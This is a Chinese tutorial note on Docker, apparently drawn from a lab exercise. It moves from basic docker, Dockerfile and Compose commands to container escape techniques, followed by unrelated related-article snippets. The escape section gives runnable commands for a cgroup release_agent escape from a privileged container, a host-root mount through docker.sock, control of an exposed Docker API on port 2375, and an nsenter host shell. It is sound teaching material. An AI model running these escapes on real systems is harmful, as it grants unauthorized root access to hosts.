docker逃逸手法
docker逃逸手法
- 基本docker操作
- docker 命令
- dockerfiles
- Docker Compose
- 漏洞利用
- 容器漏洞
基本docker操作
docker 命令
# docker拉取
docker pull
# 指定版本拉取
docker pull ubuntu:22.04# 显示镜像可执行的操作
docker image
# 列出存储在本地系统上的所有图像
docker image ls
# 删除docker镜像
docker image rm# 运行容器
docker run <inage_name>
# 运行时进入容器终端
docker run -it helloworld /bin/bash
# docker 常见参数
docker run -d helloworld # -d参数指示容器以“分离”模式启动。这意味着容器将在后台运行。
docker run -it helloworld # 这个论点有两个部分。“i”表示交互式运行,“t”表示 Docker 在容器内运行 shell。如果我们希望在容器运行后直接与容器交互,我们将使用此选项
docker run -v /host/os/directory:/container/directory helloworld # -v参数是“Volume”的缩写,它告诉 Docker 将主机操作系统中的目录或文件挂载到容器内的某个位置。这些文件的存储位置在 Dockerfile 中定义
docker run -p 80:80 webserver # -p参数指示 Docker 将主机操作系统上的端口绑定到容器中公开的端口。如果您在容器中运行应用程序或服务(例如 Web 服务器),并希望通过导航到 IP 地址来访问应用程序/服务,则可以使用此说明。
docker run --rm helloworld # --rm参数告诉 Docker 在容器完成运行它被指示执行的任何操作后删除容器。
docker run --name helloworld # --name让我们给容器起一个友好、难忘的名字。在没有此选项的情况下运行容器时,名称是两个随机词。我们可以使用此 open 来命名容器,该容器在容器正在运行的应用程序之后。# 列出正在运行的容器
docker ps
# 列出所有的容器
docker ps -a
dockerfiles
# dockerfiles语法
from ubuntu # from指令为容器设置构建阶段,并设置基础映像(操作系统)。所有 Dockerfile 都必须从这个开始。
run whoami # run指令将在新层内的容器中执行命令。
copy /home/a/b copy指令将文件从本地系统复制到容器中的工作目录(语法类似于命令cp)。
WORKDIR / # WORKDIR指令设置容器的工作目录。(类似于在 Linux 上使用)。cd
CMD /bin/sh -c script.sh # CMD指令确定容器启动时运行哪个命令(您将使用它来启动服务或应用程序)。
EXPOSE 80 # EXPOSE指令用于告诉运行容器的人员在运行容器时应发布哪个端口。# docker构建
docker build -t helloworld ./Dockerfile
-t 命名镜像
Docker Compose
docker-compose up # 创建/构建并启动复合文件中指定的容器。
docker-compose start # 启动复合文件中指定的容器。
docker-compose down # 此命令将停止并删除复合文件中指定的容器。
docker-compose stop # 此命令将停止(而不是删除)复合文件中指定的容器
docker-compose build # 此命令将构建(但不会启动)复合文件中指定的容器Docker-compose.yml 文件
version # 它位于文件的顶部,用于标识为哪个版本的 Compose 编写docker-compose.yml
services # 此指令标志着要管理的容器的开始。
name # 在此指令中,您可以定义容器及其配置。“name”需要替换为您要定义的容器的实际名称,即“webserver”或“database”。
build # 此指令定义包含此容器/服务的 Dockerfile 的目录。(您将需要使用此图像或图像)。
ports # 此指令将端口发布到公开的端口(这取决于 image/Dockerfile)。
volumes # 此指令列出了应从主机操作系统挂载到容器中的目录。
environment # 此指令用于传递环境变量(不安全),即密码、用户名、时区配置等。
image # 此指令定义了应使用哪个映像来构建容器(您将需要使用此映像或构建该映像)。
networks # 此指令定义了容器将成为哪些网络的一部分。容器可以是多个网络的一部分(即 Web 服务器只能联系一个数据库,但数据库可以联系多个 Web 服务器)。
## 示例:version: '3.3'
services:web:build: ./webnetworks:- ecommerceports:- '80:80'database:image: mysql:latestnetworks:- ecommerceenvironment:- MYSQL_DATABASE=ecommerce- MYSQL_USERNAME=root- MYSQL_ROOT_PASSWORD=hellowordnetworks:ecommerce:
漏洞利用
容器漏洞
因容器的迁移特性,其中可能存在各种硬编码,比如拉取的web应用的数据库连接密码
同时不同的docker版本也具有不同的逃逸漏洞
特权容器
capsh --print # 列出特权Docker的功能
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2. echo 1 > /tmp/cgrp/x/notify_on_release
3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
7. chmod a+x /exploit
8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
通过暴露的docker守护程序进行逃逸
验证我们的用户是否属于 Docker 组
groups # 查看是否有docker字样
find / -name docker.sock # 寻找docker套接字
# 创建新容器并把宿主机挂载在新容器中
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker rundocker run -v /:/mnt
chroot /mnt
通过暴露的docker守护程序远程执行代码
nmap -sV -p 2375 10.10.200.38 Starting Nmap # 看docker api是否运行在2375端口并可访问
curl http://10.10.200.38:2375/version # 确认docker守护进程
docker -H tcp://10.10.200.38:2375 ps # 在目标上执行docker命令# 值得注意的命令
network ls # 用于列出容器网络
images # 列出容器使用的图像
exec # 在容器上执行命令
run # 运行容器
滥用命名空间
确定我们是否在容器中
ps aux # 查看进程数,如果数量很小则可能在容器中
# 如果在容器中看到docker类似的进程,说明doker可能可以利用滥用命名空间逃逸# 漏洞利用
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# 命令解释
--target # 使用值为“1”的开关来执行我们稍后提供的 shell 命令,该命令在特殊系统进程 ID 的命名空间中执行,以获得最终的root
--mount # 指定此名称是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,请输入目标进程的挂载命名空间。”
--uts # 该开关允许我们与目标进程共享相同的 UTS 命名空间,这意味着使用相同的主机名。这很重要,因为主机名不匹配可能会导致连接问题(尤其是网络服务)
--ipc # 开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享
--net # 关意味着我们进入网络命名空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以使用它来打开一个新的连接(例如主机上的稳定反向 shell)可能需要“Ctrl + C”来取消一次或两次漏洞利用才能使此漏洞起作用
相关文章:

docker逃逸手法
docker逃逸手法 基本docker操作docker 命令dockerfilesDocker Compose漏洞利用容器漏洞 基本docker操作 docker 命令 # docker拉取 docker pull # 指定版本拉取 docker pull ubuntu:22.04# 显示镜像可执行的操作 docker image # 列出存储在本地系统上的所有图像 docker image…...

3 pytest Fixture
3 pytest Fixture 3.1 通过 conftest.py 共享 fixture3.2 使用 fixture 执行配置及销毁逻辑3.3 使用 --setup-show 回溯 fixture 的执行过程3.4 使用 fixture 传递测试数据3.5 使用多个 fixture3.6 指定 fixture 作用范围3.7 使用 usefixtures 指定 fixture3.8 为常用 fixture …...

pinctl 和 gpio子系统驱动
一.设备树中添加pinctl节点模板 1.创建对应的节点 同一个外设的 PIN 都放到一个节点里面,打开 imx6ull-14x14-evk.dts,在 iomuxc 节点 中的“imx6ul-evk”子节点下添加 “pinctrl_test” 节点。添加完成以后如下所示: pinctrl_test:test_g…...

RocketMQ消息堆积了怎么解决?
RocketMQ 的消息堆积,一般都是因为客户端本地消费过程中,由于消费耗时过长或消费并发度较小等原因,导致客户端消费能力不足,出现消息堆积的问题。 当线上出现消息堆积的问题时,一般有以下几种方式来解决: 增加消费者…...

C++第十二弹 -- STL之list模拟实现
文章索引 前言模拟实现list1. ListNode节点类2. list的迭代器封装3. 反向迭代器4. list类的模拟实现测试代码 list的反向迭代器总结 前言 通过模拟实现可以让我们更加深刻的理解C底层STL的实现逻辑, 本篇就对list的底层进行模拟实现. 博客主页: 酷酷学!!! 点击关注 共同进步!…...

Destiny of Gods首轮测试正式开启,参与玩家数量突破10万
天神风云,波澜再兴,GameFi链游聚合平台Destiny of Gods首款同名数字卡牌回合制游戏首轮测试定档8月20日20:00(GMT8),现已正式开启! 这是一个由人、游灵和神灵共存的世界,历经蛮荒时期的纷争与信…...

QT聊天室基于Tcp
server.cpp #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget),server(new QTcpServer(this)) // 给服务器指针对象实例化空间{ui->setupUi(this); }Widget::~Widget() {delete ui; }…...

公开课观后感:密歇根大学python for everyone
从2024年1月17日到2024年8月20日,终于将密歇根大学的python for everyone的python公开课跟完。站在一月份规划的时刻来看,比我想象中花费的时间更多,我当时肯定没有想到要花上整整七个月的时间才能将这个公开课的内容看完,毕竟这个…...

goweb框架-gin
文章目录 Gin框架概览Gin框架的特点Gin框架的安装和基本使用安装基本使用 路由系统路由的基本概念Gin框架路由的特点 Radix Tree(基数树)基数树的定义和原理基数树在Gin框架中的应用节省空间的优化动态路由和通配符处理 路由树的构建注册路由的过程路由树…...

2024年接口测试高频面试题及答案
1. 什么是接口测试? •接口测试就是通过测试不同情况下的入参与之相应的出参信息来判断接口是否符合或满足相应的功能性、安全性要求 •测试的重点是要检查数据的交换,传递和控制管理过程,以及系统间的相互逻辑依赖关系 2. 为什么要做接口…...

ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(8)
接前一篇文章:ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(7) 前边几回分析了笔者在MQTT测试时所遇到的问题: 最终定位到了是由于components\components\tcp_transport\transport_ssl.c的base_poll_write函数中调用的select函数超时返回…...

Linux: 忘记密码的解决方法,passwd
https://www.redhat.com/sysadmin/recover-root-passwd 这里的方法很简单,就是通过console进去,添加一个启动参数,加载sysroot,然后用passwd命令修改密码。这个是RHEL7适用。 https://access.redhat.com/solutions/1192 这个是提…...

36. 有效的数独【 力扣(LeetCode) 】
一、题目描述 请你判断一个 9 x 9 的数独是否有效。只需要 根据以下规则 ,验证已经填入的数字是否有效即可。 数字 1-9 在每一行只能出现一次。 数字 1-9 在每一列只能出现一次。 数字 1-9 在每一个以粗实线分隔的 3x3 宫内只能出现一次。(请参考示例图…...

机器学习中的没有免费午餐定理
嘿,各位机器学习的爱好者们!今天,让我们一起深入探讨机器学习中那个神秘而又重要的概念——没有免费午餐定理。 一、定理引入:探索算法森林的钥匙 在广阔无垠的机器学习领域中,免费午餐定理就如同一把神奇的钥匙&…...

高级java每日一道面试题-2024年8月21日-框架篇[Spring篇]-使用IOC容器应该注意哪些?
如果有遗漏,评论区告诉我进行补充 面试官: 使用IOC容器应该注意哪些? 我回答: 1. 理解IOC的基本概念 控制反转:在传统的编程模式中,程序会主动控制依赖关系的创建和管理。而在IoC容器中,这种控制权被反转给了容器本身。程序员只需要声明…...

LLM训练推理相关概念
1. 有监督微调(Supervised Fine-Tuning)与指令微调(Instruction Fine-Tuning)对模型参数的影响 **有监督微调(Supervised Fine-Tuning, SFT)和指令微调(Instruction Fine-Tuning, Instruct-Tun…...

IP in IP 协议
IP in IP 是一种多重IP协议,即:客户机可以发送一个IP协议内部在嵌套一个IP协议到某个特定的主机上,在由具体的主机作为路由进行转发的协议。 例如: IP in IP帧协议结构为,第一层为发送到IP in IP 路由主机的报文&…...

DAY2: HTTP请求报文和响应报文是怎样的,有哪些常见的字段?| HTTP有哪些请求方式?| GET请求和POST请求的区别
目录 HTTP请求报文和响应报文是怎样的,有哪些常见的字段? 请求报文 响应报文 HTTP有哪些请求方式? GET请求和POST请求的区别 HTTP请求报文和响应报文是怎样的,有哪些常见的字段? HTTP报文分为请求报文和响应报文…...
线性代数:每日一题1/特征值与相似对角化
设A, B 为二阶矩阵,且 AB BA , 则“A有两个不相等的特征值”是“B可对角化"的() A. 充分必要条件 B. 充分不必要条件 C.必要不充分条件 D.既不充分也不必要条件 知识点: 特征向量与特征值的关系 相似矩阵的定义和性质 n阶…...

Android UI:PopupWindow:API
文章目录 类操作 对PopupWindow的操作 创建PopupWindow对象的操作添加并显示PopupWindow的操作移除PopupWindow的操作更新PopupWindow的操作显示内容的相关操作 布局的相关操作进入退出动画的相关操作 Transition设置进入动画的相关操作Transition设置退出动画的相关操作XML设置…...

什么是DevUI?
DevUI是面向企业中后台产品的开源前端解决方案,其设计价值观基于"高效、开放、可信、乐趣"四种自然与人文相结合的理念,旨在为设计师、前端开发者提供标准的设计体系,并满足各类落地场景,是一款企业级开箱即用的产品。 …...

DAY53
作业: 运行1个服务器和2个客户端 实现效果: 服务器和2个客户端互相聊天,服务器和客户端都需要使用select模型去实现 服务器要监视2个客户端是否连接,2个客户端是否发来消息以及服务器自己的标准输入流 客户端要监视服务器是否发来…...

python中len是什么
Python len() 方法返回字符串长度。 len()方法语法: len( str ) 返回值: 返回字符串长度。 以下实例展示了len()的使用方法: #!/usr/bin/python str "this is string example....wow!!!"; print "字符串长度: ", len…...

推荐一个开源的kafka可视化客户端GUI工具(Kafka King)
大佬的博客地址: https://blog.ysboke.cn/posts/tools/kafka-king Github地址: https://github.com/Bronya0/Kafka-King Kafka-King功能清单 查看集群节点列表(完成)支持PLAINTEXT、SASL PLAINTEXT用户名密码认证(完…...

day 10 贪心算法
455. 分发饼干 饼干从大的开始利用,优先满足胃口大的; class Solution { public:int findContentChildren(vector<int>& g, vector<int>& s) {sort(g.begin(),g.end());sort(s.begin(),s.end());int res0;int indexs.size()-1;for…...

网络安全审计技术原理与应用
网络安全审计概述 概念 定义:对网络信息系统的安全相关活动信息进行获取、记录、存储、分析和利用的工作 作用:建立“事后”安全保障措施,保存网络安全事件及行为信息,为网络安全事件分析提供线索及证据,以便发现潜在网络安全威胁行为,开展网络安全风险分析及管理 常…...

计算机网络之TCP序号,确认序号和报文传输时间
开篇提示 本篇适合于了解基础知识,进行扩展提高的使用,附带考研习题以及解析。 TCP序号和确认序号的区别 TCP首部中有序号和确认序号,他们都是4个字节(4B),且在数据传输中有很重要的意义,那么两…...

HTML优化方法
HTML编码规范 代码格式化与缩进 1.缩进规则 推荐使用空格缩进而不是Tab,因为不同环境下空格的效果更加一致。常见缩进量为2个或4个空格 2.标签对齐 在嵌套的HTML结构中,子标签应当缩进,以清晰地展示层级关系。 3.属性的排列 …...

Codeforces Round 961 D. Cases 【SOS DP、思维】
D. Cases 题意 有一个长度为 n n n 且仅由前 c c c 个大写字母组成的字符串,问最少选取多少种字母为每个单词的结尾,使得每个单词长度不超过 k k k 思路 首先注意到最后一个字母一定要选择,接下来我们给出一个断言:如果一个…...

VirtualBox上的Oracle Linux虚拟机安装Docker全流程
1.安装docker依赖 yum install -y yum-utils device-mapper-persistent-data lvm2 2.安装docker仓库 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 生成docker的yum源配置到在 /etc/yum.repos.d/docker-ce.repo 3.安装D…...